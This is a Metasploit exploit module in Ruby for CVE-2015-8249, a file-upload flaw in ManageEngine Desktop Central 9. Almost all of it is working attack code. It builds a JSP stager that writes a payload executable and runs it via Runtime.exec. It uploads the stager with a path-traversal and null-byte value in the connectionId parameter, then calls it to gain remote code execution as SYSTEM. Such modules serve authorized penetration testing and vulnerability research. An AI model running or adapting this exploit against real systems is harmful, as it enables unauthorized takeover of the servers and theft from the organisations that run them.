## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'nokogiri' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info={}) super(update_info(info, 'Name' => "ManageEngine Desktop Central 9 FileUploadServlet ConnectionId Vulnerability", 'Description' => %q{ This module exploits a vulnerability found in ManageEngine Desktop Central 9. When uploading a 7z file, the FileUploadServlet class does not check the user-controlled ConnectionId parameter in the FileUploadServlet class. This allows a remote attacker to inject a null bye at the end of the value to create a malicious file with an arbitrary file type, and then place it under a directory that allows server-side scripts to run, which results in remote code execution under the context of SYSTEM. Please note that by default, some ManageEngine Desktop Central versions run on port 8020, but older ones run on port 8040. Also, using this exploit will leave debugging information produced by FileUploadServlet in file rdslog0.txt. This exploit was successfully tested on version 9, build 90109 and build 91084. }, 'License' => MSF_LICENSE, 'Author' => [ 'sinn3r' ], 'References' => [ [ 'URL', 'https://community.rapid7.com/community/infosec/blog/2015/12/14/r7-2015-22-manageengine-desktop-central-9-fileuploadservlet-connectionid-vulnerability-cve-2015-8249' ], [ 'CVE', '2015-8249'] ], 'Platform' => 'win', 'Targets' => [ [ 'ManageEngine Desktop Central 9 on Windows', {} ] ], 'Payload' => { 'BadChars' => "\x00" }, 'Privileged' => false, 'DisclosureDate' => "Dec 14 2015", 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, 'The base path for ManageEngine Desktop Central', '/']), Opt::RPORT(8020) ], self.class) end def jsp_drop_bin(bin_data, output_file) jspraw = %Q|<%@ page import="java.io.*" %>\n| jspraw << %Q|<%\n| jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n| jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n| jspraw << %Q|int numbytes = data.length();\n| jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n| jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n| jspraw << %Q|{\n| jspraw << %Q| char char1 = (char) data.charAt(counter);\n| jspraw << %Q| char char2 = (char) data.charAt(counter + 1);\n| jspraw << %Q| int comb = Character.digit(char1, 16) & 0xff;\n| jspraw << %Q| comb <<= 4;\n| jspraw << %Q| comb += Character.digit(char2, 16) & 0xff;\n| jspraw << %Q| bytes[counter/2] = (byte)comb;\n| jspraw << %Q|}\n| jspraw << %Q|outputstream.write(bytes);\n| jspraw << %Q|outputstream.close();\n| jspraw << %Q|%>\n| jspraw end def jsp_execute_command(command) jspraw = %Q|<%@ page import="java.io.*" %>\n| jspraw << %Q|<%\n| jspraw << %Q|try {\n| jspraw << %Q| Runtime.getRuntime().exec("chmod +x #{command}");\n| jspraw << %Q|} catch (IOException ioe) { }\n| jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n| jspraw << %Q|%>\n| jspraw end def get_jsp_stager exe = generate_payload_exe(code: payload.encoded) jsp_fname = "#{Rex::Text.rand_text_alpha(5)}.jsp" # pwd: C:\ManageEngine\DesktopCentral_Server\bin # targeted location: C:\ManageEngine\DesktopCentral_Server\webapps\DesktopCentral\jspf register_files_for_cleanup("../webapps/DesktopCentral/jspf/#{jsp_fname}") { jsp_payload: jsp_drop_bin(exe, jsp_fname) + jsp_execute_command(jsp_fname), jsp_name: jsp_fname } end def get_build_number(res) inputs = res.get_hidden_inputs # The buildNum input is in the first form inputs.first['buildNum'] end def get_html_title(res) html = res.body n = ::Nokogiri::HTML(html) n.at_xpath('//title').text end def check uri = normalize_uri(target_uri.path, '/configurations.do') res = send_request_cgi({ 'method' => 'GET', 'uri' => uri }) unless res vprint_error("Connection timed out") return Exploit::CheckCode::Unknown end build_number = get_build_number(res) vprint_status("Found build number: #{build_number}") html_title = get_html_title(res) vprint_status("Found title: #{html_title}") if build_number <= '91084' return Exploit::CheckCode::Appears elsif /ManageEngine Desktop Central/ === html_title return Exploit::CheckCode::Detected end Exploit::CheckCode::Safe end def upload_jsp(stager_info) # connectionId is part of the 7z filename # computerName is part of the 7z filename (but will be used due to the null byte injection) # customerId is used as a directory name # # The intended upload path is: # C:\ManageEngine\DesktopCentral_Server\webapps\DesktopCentral\server-data\[customerId]\rds\scr-rec\null-computerName-connectionId.7z # But this will upload to: # C:\ManageEngine\DesktopCentral_Server\webapps\DesktopCentral\jspf uri = normalize_uri(target_uri.path, 'fileupload') res = send_request_cgi({ 'method' => 'POST', 'uri' => uri, 'ctype' => 'application/octet-stream', 'encode_params' => false, 'data' => stager_info[:jsp_payload], 'vars_get' => { 'connectionId' => "#{Rex::Text.rand_text_alpha(1)}/../../../../../jspf/#{stager_info[:jsp_name]}%00", 'resourceId' => Rex::Text.rand_text_alpha(1), 'action' => 'rds_file_upload', 'computerName' => Rex::Text.rand_text_alpha(rand(10)+5), 'customerId' => Rex::Text.rand_text_numeric(rand(10)+5) } }) if res.nil? fail_with(Failure::Unknown, "Connection timed out while uploading to #{uri}") elsif res && res.code != 200 fail_with(Failure::Unknown, "The server returned #{res.code}, but 200 was expected.") end end def exec_jsp(stager_info) uri = normalize_uri(target_uri.path, "/jspf/#{stager_info[:jsp_name]}") res = send_request_cgi({ 'method' => 'GET', 'uri' => uri }) if res.nil? fail_with(Failure::Unknown, "Connection timed out while executing #{uri}") elsif res && res.code != 200 fail_with(Failure::Unknown, "Failed to execute #{uri}. Server returned #{res.code}") end end def exploit print_status("Creating JSP stager") stager_info = get_jsp_stager print_status("Uploading JSP stager #{stager_info[:jsp_name]}...") upload_jsp(stager_info) print_status("Executing stager...") exec_jsp(stager_info) end end